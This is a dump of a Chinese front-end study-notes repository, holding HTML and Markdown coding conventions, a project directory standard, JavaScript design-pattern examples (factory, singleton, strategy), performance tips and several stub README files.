429 | 
430 | #### [建议] 展现定义放置于外部 `CSS` 中，行为定义放置于外部 `JavaScript` 中。
431 | 
432 | 解释：
433 | 
434 | 结构-样式-行为的代码分离，对于提高代码的可阅读性和维护性都有好处。
435 | 
436 | 
437 | #### [建议] 在 `head` 中引入页面需要的所有 `CSS` 资源。
438 | 
439 | 解释：
440 | 
441 | 在页面渲染的过程中，新的CSS可能导致元素的样式重新计算和绘制，页面闪烁。
442 | 
443 | 
444 | #### [建议] `JavaScript` 应当放在页面末尾，或采用异步加载。
445 | 
446 | 解释：
447 | 
448 | 将 script 放在页面中间将阻断页面的渲染。出于性能方面的考虑，如非必要，请遵守此条建议。
449 | 
450 | 
451 | 示例：
452 | 
453 | ```html
454 | <body>
455 |     <!-- a lot of elements -->
456 |     <script src="init-behavior.js"></script>
457 | </body>
458 | ```
459 | 
460 | 
461 | #### [建议] 移动环境或只针对现代浏览器设计的 Web 应用，如果引用外部资源的 `URL` 协议部分与页面相同，建议省略协议前缀。
462 | 
463 | 解释：
464 | 
465 | 使用 `protocol-relative URL` 引入 CSS，在 `IE7/8` 下，会发两次请求。是否使用 `protocol-relative URL` 应充分考虑页面针对的环境。
466 | 
467 | 
468 | 示例：
469 | 
470 | ```html
471 | <script src="//s1.bdstatic.com/cache/static/jquery-1.10.2.min_f2fb5194.js"></script>
472 | ```
473 | 
474 | 
475 | 
476 | 
477 | 
478 | 
479 | ## 4 head
480 | 
481 | 
482 | ### 4.1 title
483 | 
484 | 
485 | #### [强制] 页面必须包含 `title` 标签声明标题。
486 | 
487 | #### [强制] `title` 必须作为 `head` 的直接子元素，并紧随 `charset` 声明之后。
488 | 
489 | 解释：
490 | 
491 | title 中如果包含 ascii 之外的字符，浏览器需要知道字符编码类型才能进行解码，否则可能导致乱码。
492 | 
493 | 
494 | 示例：
495 | 
496 | ```html
497 | <head>
498 |     <meta charset="UTF-8">
499 |     <title>页面标题</title>
500 | </head>
501 | ```
502 | 
503 | ### 4.2 favicon
504 | 
505 | 
506 | #### [强制] 保证 `favicon` 可访问。
507 | 
508 | 解释：
509 | 
510 | 在未指定 favicon 时，大多数浏览器会请求 Web Server 根目录下的 favicon.ico 。为了保证favicon可访问，避免404，必须遵循以下两种方法之一：
511 | 
512 | 1. 在 Web Server 根目录放置 favicon.ico 文件。
513 | 2. 使用 link 指定 favicon。
514 | 
515 | 
516 | 示例：
517 | 
518 | ```html
519 | <link rel="shortcut icon" href="path/to/favicon.ico">
520 | ```
521 | 
522 | ### 4.3 viewport
523 | 
524 | 
525 | #### [建议] 若页面欲对移动设备友好，需指定页面的 `viewport`。
526 | 
527 | 解释：
528 | 
529 | viewport meta tag可以设置可视区域的宽度和初始缩放大小，避免在移动设备上出现页面展示不正常。
530 | 
531 | 比如，在页面宽度小于 980px 时，若需 iOS 设备友好，应当设置 viewport 的 width 值来适应你的页面宽度。同时因为不同移动设备分辨率不同，在设置时，应当使用 device-width 和 device-height 变量。
532 | 
533 | 另外，为了使 viewport 正常工作，在页面内容样式布局设计上也要做相应调整，如避免绝对定位等。关于 viewport 的更多介绍，可以参见 [Safari Web Content Guide的介绍](https://developer.apple.com/library/mac/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html#//apple_ref/doc/uid/TP40006509-SW26)
534 | 
535 | 
536 | 
537 | 
538 | ## 5 图片
539 | 
540 | 
541 | 
542 | #### [强制] 禁止 `img` 的 `src` 取值为空。延迟加载的图片也要增加默认的 `src`。
543 | 
544 | 解释：
545 | 
546 | src 取值为空，会导致部分浏览器重新加载一次当前页面，参考：<https://developer.yahoo.com/performance/rules.html#emptysrc> 
547 | 
548 | 
549 | #### [建议] 避免为 `img` 添加不必要的 `title` 属性。
550 | 
551 | 解释：  
552 | 
553 | 多余的 title 影响看图体验，并且增加了页面尺寸。
554 | 
555 | #### [建议] 为重要图片添加 `alt` 属性。
556 | 
557 | 解释：
558 | 
559 | 可以提高图片加载失败时的用户体验。
560 | 
561 | #### [建议] 添加 `width` 和 `height` 属性，以避免页面抖动。
562 | 
563 | #### [建议] 有下载需求的图片采用 `img` 标签实现，无下载需求的图片采用 `CSS` 背景图实现。
564 | 
565 | 解释：
566 | 
567 | 1. 产品 logo、用户头像、用户产生的图片等有潜在下载需求的图片，以 img 形式实现，能方便用户下载。
568 | 2. 无下载需求的图片，比如：icon、背景、代码使用的图片等，尽可能采用 css 背景图实现。
569 | 
570 | 
571 | 
572 | ## 6 表单
573 | 
574 | 
575 | ### 6.1 控件标题
576 | 
577 | 
578 | #### [强制] 有文本标题的控件必须使用 `label` 标签将其与其标题相关联。
579 | 
580 | 解释：
581 | 
582 | 有两种方式：
583 | 
584 | 1. 将控件置于 label 内。
585 | 2. label 的 for 属性指向控件的 id。
586 | 
587 | 推荐使用第一种，减少不必要的 id。如果 DOM 结构不允许直接嵌套，则应使用第二种。
588 | 
589 | 
590 | 示例：
591 | 
592 | ```html
593 | <label><input type="checkbox" name="confirm" value="on"> 我已确认上述条款</label>
594 | 
595 | <label for="username">用户名：</label> <input type="textbox" name="username" id="username">
596 | ```
597 | 
598 | 
599 | ### 6.2 按钮
600 | 
601 | 
602 | #### [强制] 使用 `button` 元素时必须指明 `type` 属性值。
603 | 
604 | 解释：
605 | 
606 | button 元素的默认 type 为 submit，如果被置于 form 元素中，点击后将导致表单提交。为显示区分其作用方便理解，必须给出 type 属性。
607 | 
608 | 
609 | 示例：
610 | 
611 | ```html
612 | <button type="submit">提交</button>
613 | <button type="button">取消</button>
614 | ```
615 | 
616 | #### [建议] 尽量不要使用按钮类元素的 `name` 属性。
617 | 
618 | 解释：
619 | 
620 | 由于浏览器兼容性问题，使用按钮的 name 属性会带来许多难以发现的问题。具体情况可参考[此文](http://w3help.org/zh-cn/causes/CM2001)。
621 | 
622 | 
623 | ### 6.3 可访问性 (A11Y)
624 | 
625 | 
626 | #### [建议] 负责主要功能的按钮在 `DOM` 中的顺序应靠前。
627 | 
628 | 解释：
629 | 
630 | 负责主要功能的按钮应相对靠前，以提高可访问性。如果在 CSS 中指定了 `float: right` 则可能导致视觉上主按钮在前，而 DOM 中主按钮靠后的情况。
631 | 
632 | 
633 | 示例：
634 | 
635 | ```html
636 | <!-- good -->
637 | <style>
638 | .buttons .button-group {
639 |     float: right;
640 | }
641 | </style>
642 | 
643 | <div class="buttons">
644 |     <div class="button-group">
645 |         <button type="submit">提交</button>
646 |         <button type="button">取消</button>
647 |     </div>
648 | </div>
649 | 
650 | <!-- bad -->
651 | <style>
652 | .buttons button {
653 |     float: right;
654 | }
655 | </style>
656 | 
657 | <div class="buttons">
658 |     <button type="button">取消</button>
659 |     <button type="submit">提交</button>
660 | </div>
661 | ```
662 | 
663 | #### [建议] 当使用 `JavaScript` 进行表单提交时，如果条件允许，应使原生提交功能正常工作。
664 | 
665 | 解释：
666 | 
667 | 当浏览器 JS 运行错误或关闭 JS 时，提交功能将无法工作。如果正确指定了 form 元素的 action 属性和表单控件的 name 属性时，提交仍可继续进行。
668 | 
669 | 
670 | 示例：
671 | 
672 | ```html
673 | <form action="/login" method="post">
674 |     <p><input name="username" type="text" placeholder="用户名"></p>
675 |     <p><input name="password" type="password" placeholder="密码"></p>
676 | </form>
677 | ```
678 | 
679 | #### [建议] 在针对移动设备开发的页面时，根据内容类型指定输入框的 `type` 属性。
680 | 
681 | 解释：
682 | 
683 | 根据内容类型指定输入框类型，能获得能友好的输入体验。
684 | 
685 | 
686 | 示例：
687 | 
688 | ```html
689 | <input type="date">
690 | ```
691 | 
692 | 
693 | 
694 | 
695 | 
696 | ## 7 多媒体
697 | 
698 | 
699 | 
700 | #### [建议] 当在现代浏览器中使用 `audio` 以及 `video` 标签来播放音频、视频时，应当注意格式。
701 | 
702 | 解释：
703 | 
704 | 音频应尽可能覆盖到如下格式：
705 | 
706 | * MP3
707 | * WAV
708 | * Ogg
709 | 
710 | 视频应尽可能覆盖到如下格式：
711 | 
712 | * MP4
713 | * WebM
714 | * Ogg
715 | 
716 | #### [建议] 在支持 `HTML5` 的浏览器中优先使用 `audio` 和 `video` 标签来定义音视频元素。
717 | 
718 | #### [建议] 使用退化到插件的方式来对多浏览器进行支持。
719 | 
720 | 示例：
721 | 
722 | ```html
723 | <audio controls>
724 |     <source src="audio.mp3" type="audio/mpeg">
725 |     <source src="audio.ogg" type="audio/ogg">
726 |     <object width="100" height="50" data="audio.mp3">
727 |         <embed width="100" height="50" src="audio.swf">
728 |     </object>
729 | </audio>
730 | 
731 | <video width="100" height="50" controls>
732 |     <source src="video.mp4" type="video/mp4">
733 |     <source src="video.ogg" type="video/ogg">
734 |     <object width="100" height="50" data="video.mp4">
735 |         <embed width="100" height="50" src="video.swf">
736 |     </object>
737 | </video>
738 | ```
739 | 
740 | #### [建议] 只在必要的时候开启音视频的自动播放。
741 | 
742 | 
743 | #### [建议] 在 `object` 标签内部提供指示浏览器不支持该标签的说明。
744 | 
745 | 示例：
746 | 
747 | ```html
748 | <object width="100" height="50" data="something.swf">DO NOT SUPPORT THIS TAG</object>
749 | ```
750 | 
751 | 
752 | 
753 | 
754 | ## 8 模板中的 HTML
755 | 
756 | 
757 | #### [建议] 模板代码的缩进优先保证 `HTML` 代码的缩进规则。
758 | 
759 | 示例：
760 | 
761 | ```html
762 | <!-- good -->
763 | {if $display == true}
764 | <div>
765 |     <ul>
766 |     {foreach $item_list as $item}
767 |         <li>{$item.name}<li>
768 |     {/foreach}
769 |     </ul>
770 | </div>
771 | {/if}
772 | 
773 | <!-- bad -->
774 | {if $display == true}
775 |     <div>
776 |         <ul>
777 |     {foreach $item_list as $item}
778 |         <li>{$item.name}<li>
779 |     {/foreach}
780 |         </ul>
781 |     </div>
782 | {/if}
783 | ```
784 | 
785 | #### [建议] 模板代码应以保证 `HTML` 单个标签语法的正确性为基本原则。
786 | 
787 | 示例：
788 | 
789 | ```html
790 | <!-- good -->
791 | <li class="{if $item.type_id == $current_type}focus{/if}">{ $item.type_name }</li>
792 | 
793 | <!-- bad -->
794 | <li {if $item.type_id == $current_type} class="focus"{/if}>{ $item.type_name }</li>
795 | ```
796 | 
797 | #### [建议] 在循环处理模板数据构造表格时，若要求每行输出固定的个数，建议先将数据分组，之后再循环输出。
798 | 
799 | 示例：
800 | 
801 | ```html
802 | <!-- good -->
803 | <table>
804 |     {foreach $item_list as $item_group}
805 |     <tr>
806 |         {foreach $item_group as $item}
807 |         <td>{ $item.name }</td>
808 |         {/foreach}
809 |     <tr>
810 |     {/foreach}
811 | </table>
812 | 
813 | <!-- bad -->
814 | <table>
815 | <tr>
816 |     {foreach $item_list as $item}
817 |     <td>{ $item.name }</td>
818 |         {if $item@iteration is div by 5}
819 |     </tr>
820 |     <tr>
821 |         {/if}
822 |     {/foreach}
823 | </tr>
824 | </table>
825 | ```
826 | 
827 | 
828 | 
829 | 
830 | 


--------------------------------------------------------------------------------
/Other/Normalization/markdown.md:
--------------------------------------------------------------------------------
  1 | Markdown 编写规范
  2 | ==========================
  3 | 
  4 | 此为前端开发团队遵循和约定的 **Markdown 编写规范**，意在提高文档的可读性。
  5 | 
  6 | ## 说明
  7 | 
  8 | 文档中使用的关键字「MUST」,「MUST NOT」,「REQUIRED」,「SHALL」,「SHALL
  9 | NOT」,「SHOULD」,「SHOULD NOT」,「RECOMMENDED」,「MAY」和「OPTIONAL」在 [RFC2119](http://oss.org.cn/man/develop/rfc/RFC2119.txt) 中有说明。
 10 | 
 11 | **还未定稿，对规范中提及的点有不赞同的欢迎[提出 issues](https://github.com/fex-team/styleguide/issues/new)（请添加 `markdown` 标签）讨论。**
 12 | 
 13 | ## 规则
 14 | 
 15 | * 后缀必须「MUST」使用 `.md`。
 16 | * 文件名必须「MUST」使用小写，多个单词之间使用`-`分隔。
 17 | * 文件编码必须「MUST」用 UTF-8。
 18 | * 文档标题应该「SHOULD」这样写。
 19 | 
 20 |     ```
 21 |     Markdown 编写规范
 22 |     ==========================
 23 |     ```
 24 | * 章节标题必须「MUST」以 `##` 开始，而不是 `#`。
 25 | * 章节标题必须「MUST」在 `#` 后加一个空格，且后面没有 `#`。
 26 | 
 27 |     ```
 28 |     // bad
 29 |     ##章节1
 30 | 
 31 |     // bad
 32 |     ## 章节1 ##
 33 | 
 34 |     // good
 35 |     ## 章节1
 36 |     ```
 37 | 
 38 | * 章节标题和内容间必须「MUST」有一个空行。
 39 | 
 40 |     ```
 41 |     // bad
 42 |     ## 章节1
 43 |     内容
 44 |     ## 章节2
 45 | 
 46 |     // good
 47 |     ## 章节1
 48 | 
 49 |     内容
 50 | 
 51 |     ## 章节2
 52 |     ```
 53 | 
 54 | * 代码段的必须「MUST」使用 Fenced code blocks 风格，如下所示：
 55 | 
 56 |         ```
 57 |         console.log("");
 58 |         ```
 59 | 
 60 | * 表格的写法应该「SHOULD」参考 [GFM](https://help.github.com/articles/github-flavored-markdown)，如下所示：
 61 | 
 62 |     ```
 63 |     First Header  | Second Header
 64 |     ------------- | -------------
 65 |     Content Cell  | Content Cell
 66 |     Content Cell  | Content Cell
 67 | 
 68 |     | Left-Aligned  | Center Aligned  | Right Aligned |
 69 |     | :------------ |:---------------:| -----:|
 70 |     | col 3 is      | some wordy text | $1600 |
 71 |     | col 2 is      | centered        |   $12 |
 72 |     | zebra stripes | are neat        |    $1 |
 73 |     ```
 74 | 
 75 | * 中英文混排应该「SHOULD」采用如下规则：
 76 |     - 英文和数字使用半角字符
 77 |     - 中文文字之间不加空格
 78 |     - 中文文字与英文、阿拉伯数字及 @ # $ % ^ & * . ( ) 等符号之间加空格
 79 |     - 中文标点之间不加空格
 80 |     - 中文标点与前后字符（无论全角或半角）之间不加空格
 81 |     - 如果括号内有中文，则使用中文括号
 82 |     - 如果括号中的内容全部都是英文，则使用半角英文括号 
 83 |     - 当半角符号 / 表示「或者」之意时，与前后的字符之间均不加空格
 84 |     - 其它具体例子推荐[阅读这里](https://github.com/sparanoid/chinese-copywriting-guidelines)
 85 | 
 86 | * 中文符号应该「SHOULD」使用如下写法：
 87 |     - 用直角引号（「」）代替双引号（“”），不同输入法的具体设置方法请[参考这里](http://www.zhihu.com/question/19755746)
 88 |     - 省略号使用「……」，而「。。。」仅用于表示停顿
 89 |     - 其它可以参考[知乎规范](http://www.zhihu.com/question/20414919)
 90 | 
 91 | * 表达方式，应当「SHOULD」遵循《The Element of Style》：
 92 |     * 使段落成为文章的单元：一个段落只表达一个主题
 93 |     * 通常在每一段落开始要点题，在段落结尾要扣题
 94 |     * 使用主动语态
 95 |     * 陈述句中使用肯定说法
 96 |     * 删除不必要的词
 97 |     * 避免连续使用松散的句子
 98 |     * 使用相同的结构表达并列的意思
 99 |     * 将相关的词放在一起
100 |     * 在总结中，要用同一种时态（这里指英文中的时态，中文不适用，所以可以不理会）
101 |     * 将强调的词放在句末
102 | 
103 | ## 扩展阅读
104 | 
105 | * Google 后来也出了 [Markdown 规范](https://github.com/google/styleguide/blob/gh-pages/docguide/style.md)，很多和这里是一样的，但也增加了一些约定，可以参考
106 | 


--------------------------------------------------------------------------------
/Other/Normalization/project.md:
--------------------------------------------------------------------------------
 1 | 开源项目目录规范
 2 | ==========================
 3 | 
 4 | 此为前端开发团队遵循和约定的**开源项目目录规范**，意在实现开源项目目录结构的一致性。
 5 | 
 6 | ## 说明
 7 | 文档中使用的关键字「MUST」,「MUST NOT」,「REQUIRED」,「SHALL」,「SHALL
 8 | NOT」,「SHOULD」,「SHOULD NOT」,「RECOMMENDED」,「MAY」和「OPTIONAL」在[RFC2119](http://oss.org.cn/man/develop/rfc/RFC2119.txt)中被说明。
 9 | 
10 | **还未定稿，对规范中提及的点有不赞同的欢迎[提出 issues ](https://github.com/fex-team/styleguide/issues/new)(请添加`目录规范`标签)讨论。**
11 | 
12 | ## 目录规范
13 | 
14 | 参加的目录结构为：
15 | 
16 | ```
17 | .
18 | ├── .editorconfig
19 | ├── .travis.yml
20 | ├── css
21 | ├── dist
22 | ├── doc
23 | ├── README.md
24 | ├── src
25 | ```
26 | 
27 | ### README.md
28 | 
29 | 每个项目都必须「MUST」包含一个`README.md`文件，此文件中应当「SHOULD」概要描述此项目的功能和特点等信息。
30 | 
31 | ### .editorconfig
32 | 
33 | 每个项目应当「SHOULD」包含`.editorconfig`，用来统一配置编辑器的换行、缩进存储格式，使用方式请参考[editorconfig是什么？](https://github.com/fex-team/styleguide/blob/master/editorconfig.md)。
34 | 
35 | ### src
36 | 
37 | 项目中所有 JS 源码应当「SHOULD」存放在此目录下，且所有JS文件编写应当「SHOULD」遵循[Javascript 编码规范](https://github.com/fex-team/styleguide/blob/master/javascript.md)。
38 | 
39 | ### css、themes、less、sass
40 | 
41 | 样式类文件存放应当「SHOULD」遵循以下规律，且文件编写应当「SHOULD」遵循[CSS 编码规范](https://github.com/fex-team/styleguide/blob/master/css.md)。
42 | 
43 | * 不带主题的样式文件应当「SHOULD」统一存放在 css 目录下面，且样式中使用的背景图片资源应当「SHOULD」统一存放在 `css/images` 目录下面。
44 | * 带主题的样式文件应当「SHOULD」统一存放在 themes 目录下对应的主题目录下，默认的主题应当「SHOULD」采用 `default` 作为主题名称，且应当「SHOULD」默认提供，样式中对应图片文件应当「SHOULD」存放在样式文件所在的主题目录下的 `images` 目录下。
45 | * less 格式的样式文件应当「SHOULD」统一存放在 `less` 目录下面。
46 | * sass 格式的样式文件应当「SHOULD」统一存放在 `sass` 目录下面。
47 | 
48 | ### doc
49 | 
50 | 所有项目应当「SHOULD」包含一个 `doc` 目录，用来存放详细的 API 使用文档。
51 | 
52 | ### dist
53 | 
54 | dist 作为项目输出目录，所有编译生成、提供给用户使用的文件应当「SHOULD」存放在此目录。
55 | 
56 | 为了让不太擅长 node.js 的用户可以正常使用编译后的代码，dist 目录应当「SHOULD」包含基本输出结果并提交在 github 中。
57 | 
58 | ### build
59 | 
60 | 所有工具类脚本应当「SHOULD」放在此目录。
61 | 
62 | ### test
63 | 
64 | 所有测试相关代码应当「SHOULD」放在此目录。
65 | 
66 | ### src_cov
67 | 
68 | 为了测试代码覆盖率，所有为测试覆盖率生成的新 JS 文件应当「SHOULD」存放在此目录下面。
69 | 


--------------------------------------------------------------------------------
/Other/Pattern/README.md:
--------------------------------------------------------------------------------
  1 | # 设计模式（Design pattern）
  2 | 
  3 | 设计模式代表了最佳的实践。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。
  4 | 
  5 | 设计模式可以分为三大类：创建型模式（Creational Patterns）、结构型模式（Structural Patterns）、行为型模式（Behavioral Patterns）。
  6 | 
  7 | ## 创建型模式
  8 | 
  9 | > 这些设计模式提供了一种在创建对象的同时隐藏创建逻辑的方式，而不是使用 new 运算符直接实例化对象。
 10 | 
 11 | - 工厂模式（Factory Pattern）
 12 | - 抽象工厂模式（Abstract Factory Pattern）
 13 | - 单例模式（Singleton Pattern）
 14 | - 建造者模式（Builder Pattern）
 15 | - 原型模式（Prototype Pattern）
 16 | 
 17 | ## 结构型模式
 18 | 
 19 | > 这些设计模式关注类和对象的组合。继承的概念被用来组合接口和定义组合对象获得新功能的方式。
 20 | 
 21 | - 适配器模式（Adapter Pattern）
 22 | - 桥接模式（Bridge Pattern）
 23 | - 过滤器模式（Filter、Criteria Pattern）
 24 | - 组合模式（Composite Pattern）
 25 | - 装饰器模式（Decorator Pattern）
 26 | - 外观模式（Facade Pattern）
 27 | - 享元模式（Flyweight Pattern）
 28 | - 代理模式（Proxy Pattern）
 29 | 
 30 | ## 行为型模式
 31 | 
 32 | > 这些设计模式特别关注对象之间的通信。
 33 | 
 34 | - 责任链模式（Chain of Responsibility Pattern）
 35 | - 命令模式（Command Pattern）
 36 | - 解释器模式（Interpreter Pattern）
 37 | - 迭代器模式（Iterator Pattern）
 38 | - 中介者模式（Mediator Pattern）
 39 | - 备忘录模式（Memento Pattern）
 40 | - 观察者模式（Observer Pattern）
 41 | - 状态模式（State Pattern）
 42 | - 空对象模式（Null Object Pattern）
 43 | - 策略模式（Strategy Pattern）
 44 | - 模板模式（Template Pattern）
 45 | - 访问者模式（Visitor Pattern）
 46 | 
 47 | ## 常用模式分析
 48 | 
 49 | [详解 Javascript十大常用设计模式](https://juejin.im/entry/58c280b1da2f600d8725b887)
 50 | 
 51 |   * [工厂模式](#工厂模式)
 52 |   * [抽象工厂模式](#抽象工厂模式)
 53 |   * [单例模式](#单例模式)
 54 |   * [策略模式](#策略模式)
 55 |   * [观察者模式](#观察者模式)
 56 | 
 57 | ### 工厂模式
 58 | 
 59 | > 工厂模式类似于现实生活中的工厂可以产生大量相似的商品，去做同样的事情，实现同样的效果。
 60 | 
 61 | 代码实例：
 62 | ```js
 63 | function CreatePerson(name,age,sex) {
 64 |     var obj = new Object();
 65 |     obj.name = name;
 66 |     obj.age = age;
 67 |     obj.sex = sex;
 68 |     obj.sayName = function(){
 69 |         return this.name;
 70 |     }
 71 |     return obj;
 72 | }
 73 | var p1 = new CreatePerson("longen",'28','男');
 74 | var p2 = new CreatePerson("tugenhua",'27','女');
 75 | ```
 76 | 如上代码：函数CreatePerson能接受三个参数name,age,sex等参数，可以无数次调用这个函数，每次返回都会包含三个属性和一个方法的对象。
 77 | 
 78 | ### 抽象工厂模式
 79 | 
 80 | > 将其成员对象的实列化推迟到子类中，子类可以重写父类接口方法以便创建的时候指定自己的对象类型。
 81 | 
 82 | 父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。
 83 | 
 84 | ### 单例模式
 85 | 
 86 | > 单体模式是一个用来划分命名空间并将一批属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。
 87 | 
 88 | 单体模式的优点是：
 89 | 
 90 | - 可以用来划分命名空间，减少全局变量的数量。
 91 | - 使用单体模式可以使代码组织的更为一致，使代码容易阅读和维护。
 92 | - 可以被实例化，且实例化一次。
 93 | 
 94 | 示例代码：
 95 | ```js
 96 | // 单体模式
 97 | var Singleton = function(name){
 98 |     this.name = name;
 99 |     this.instance = null;
100 | };
101 | Singleton.prototype.getName = function(){
102 |     return this.name;
103 | }
104 | // 获取实例对象
105 | function getInstance(name) {
106 |     if(!this.instance) {
107 |         this.instance = new Singleton(name);
108 |     }
109 |     return this.instance;
110 | }
111 | // 测试单体模式的实例
112 | var a = getInstance("aa");
113 | var b = getInstance("bb");
114 | 
115 | console.log(a === b); // true
116 | console.log(a.getName());// aa
117 | console.log(b.getName());// aa
118 | ```
119 | 
120 | 示例代码二：实现弹窗（避免多次显示和隐藏弹窗的dom频繁操作）
121 | ```js
122 | // 实现单体模式弹窗
123 | var createWindow = (function(){
124 |     var div;
125 |     return function(){
126 |         if(!div) {
127 |             div = document.createElement("div");
128 |             div.innerHTML = "我是弹窗内容";
129 |             div.style.display = 'none';
130 |             document.body.appendChild(div);
131 |         }
132 |         return div;
133 |     }
134 | })();
135 | document.getElementById("Id").onclick = function(){
136 |     // 点击后先创建一个div元素
137 |     var win = createWindow();
138 |     win.style.display = "block";
139 | }
140 | ```
141 | 
142 | ### 策略模式
143 | 
144 | > 定义一系列的算法，把它们一个个封装起来，并且使它们可以相互替换。
145 | 
146 | 优点：  
147 | 1. 策略模式利用组合，委托等技术和思想，有效的避免很多if条件语句。
148 | 2. 策略模式提供了开放-封闭原则，使代码更容易理解和扩展。
149 | 3. 策略模式中的代码可以复用。
150 | 
151 | 一：使用策略模式计算奖金；
152 | ```js
153 | //代码如下：
154 | var obj = {
155 |         "A": function(salary) {
156 |             return salary * 4;
157 |         },
158 |         "B" : function(salary) {
159 |             return salary * 3;
160 |         },
161 |         "C" : function(salary) {
162 |             return salary * 2;
163 |         } 
164 | };
165 | var calculateBouns =function(level,salary) {
166 |     return obj[level](salary);
167 | };
168 | console.log(calculateBouns('A',10000)); // 40000
169 | ```
170 | 
171 | 二：表单效验
172 | 
173 | 定义一套验证规则校验表单。  
174 | 代码略。
175 | 
176 | ### 观察者模式
177 | 
178 | > 发布---订阅模式又叫观察者模式，它定义了对象间的一种一对多的关系，让多个观察者对象同时监听某一个主题对象，当一个对象发生改变时，所有依赖于它的对象都将得到通知。
179 | 
180 | 优点：
181 | 1. 支持简单的广播通信，当对象状态发生改变时，会自动通知已经订阅过的对象。
182 | 2. 发布者与订阅者耦合性降低，发布者只管发布一条消息出去，它不关心这条消息如何被订阅者使用。
183 | 
184 | 
185 | 


--------------------------------------------------------------------------------
/Other/Performance/README.md:
--------------------------------------------------------------------------------
 1 | # 性能优化
 2 | 
 3 | ## 方案一
 4 | 
 5 | ### 两个优化方向：
 6 | > 减少页面体积，提升网络加载速度  
 7 | > 优化页面渲染  
 8 | 
 9 | #### 减少页面体积，提升网络加载
10 | 
11 |     静态资源的压缩合并（JS 代码压缩合并、CSS 代码压缩合并、使用雪碧图、iconfont）
12 |     静态资源缓存（资源名称加 MD5 戳）
13 |     使用 CDN 让资源加载更快
14 | 
15 | #### 优化页面渲染
16 |     CSS 放前面，JS 放后面
17 |     懒加载（图片懒加载、下拉加载更多）
18 |     减少DOM 查询，对 DOM 查询做缓存
19 |     减少DOM 操作，多个操作尽量合并在一起执行（DocumentFragment）
20 |     事件节流
21 |     尽早执行操作（DOMContentLoaded）
22 |     使用 SSR 后端渲染，数据直接输出到 HTML 中，减少浏览器使用 JS - 模板渲染页面 HTML 的时间
23 |     
24 | ## 方案二
25 | 
26 |     请求数量：
27 |     合并脚本和样式表，CSS Sprites，拆分初始化负载，划分主域。
28 |     请求带宽：
29 |     开启GZip，精简JavaScript，移除重复脚本，图像优化，将icon做成字体。
30 |     缓存利用：
31 |     使用CND，使用外部JS和CSS，添加Expires头，减少DNS查询，配置ETag，使Ajax可缓存。
32 |     页面结构：
33 |     将样式表放在顶部，将脚本放在底部，尽早刷新文档的输出。
34 |     代码校验：
35 |     避免CSS表达式，避免重定向。
36 | 
37 | SEE ALSO：
38 | 
39 | [《前端工程与性能分析》](https://div.io/topic/371)   
40 | [一篇文章搞定前端面试 -- 前端性能优化](https://juejin.im/post/5bbaa549e51d450e827b6b13#heading-8)  
41 | [vue + webpack 前端性能优化](https://juejin.im/post/5bc5c106e51d450e7a253e1b)  
42 | 


--------------------------------------------------------------------------------
/Other/RegExp/README.md:
--------------------------------------------------------------------------------
1 | # 正则表达式
2 | 


--------------------------------------------------------------------------------
/Other/Theory/README.md:
--------------------------------------------------------------------------------
 1 | # 原理类知识点
 2 | 
 3 | - [Promise]()
 4 | - [postMessage]()
 5 | 
 6 | 
 7 | 
 8 | ## todo list
 9 | ajax原理
10 | jsonp原理
11 | 移动端点透的原理
12 | promise
13 | async/await
14 | axios
15 | 
16 | 
17 | 
18 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # 前端笔记
 2 | 
 3 | ## 基础知识整理
 4 | 
 5 | - [HTML/Canvas](./HTML/HTML.md)
 6 | - [CSS/常见布局](./CSS/README.md)
 7 | - [JavaScript](./JavaScript/README.md)
 8 | - [性能优化](./Other/Performance/README.md)
 9 | - [设计模式](./Other/Pattern/README.md)
10 | - [排序算法](./Other/Algorithm/README.md)
11 | - [正则表达式](./RegExp/README.md)
12 | - [移动端相关](./Mobile/README.md)
13 | - [浏览器事件、跨域、存储、渲染](./Other/Browser/README.md)
14 | - [浏览器缓存](./Other/Browser/Cache.md)
15 | - [网络安全](./Other/Network-security/README.md)
16 | - [网络协议](./Other/Network-protocol/README.md)
17 | - [浏览器](./Other/Browser/README.md)
18 | - [开发规范](./Other/Normalization/README.md)
19 | - [原理类知识点](./Other/theory/README.md)
20 | 
21 | ## 框架学习笔记及归纳
22 | 
23 | - [Node 笔记](./Node/README.md)
24 | - [Vue 笔记](./Vue/README.md)
25 | - [React 笔记](./React/README.md)
26 | - Weex 笔记
27 | - ReactNative 笔记
28 | - TypeScript 笔记
29 | 


--------------------------------------------------------------------------------
/React/Docs/Framework.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Docs/Framework.md


--------------------------------------------------------------------------------
/React/Docs/ImmutableJS.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Docs/ImmutableJS.md


--------------------------------------------------------------------------------
/React/Docs/Interview.md:
--------------------------------------------------------------------------------
1 | # React 面试问题
2 | 
3 | 
4 | 


--------------------------------------------------------------------------------
/React/Docs/Mobx.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Docs/Mobx.md


--------------------------------------------------------------------------------
/React/Docs/React-Router.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Docs/React-Router.md


--------------------------------------------------------------------------------
/React/Docs/React-basic.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | # React 文档简记
  5 | 
  6 | [React 官网](https://reactjs.org/)  
  7 | [React 中文官网](https://react.docschina.org/)
  8 | 
  9 | - [Hello World](#hello-world)
 10 | - [JSX 简介](#jsx-%E7%AE%80%E4%BB%8B)
 11 |   - [JSX 属性](#jsx-%E5%B1%9E%E6%80%A7)
 12 |   - [JSX 嵌套](#jsx-%E5%B5%8C%E5%A5%97)
 13 | - [元素渲染](#%E5%85%83%E7%B4%A0%E6%B8%B2%E6%9F%93)
 14 | - [组件 & Props](#%E7%BB%84%E4%BB%B6--props)
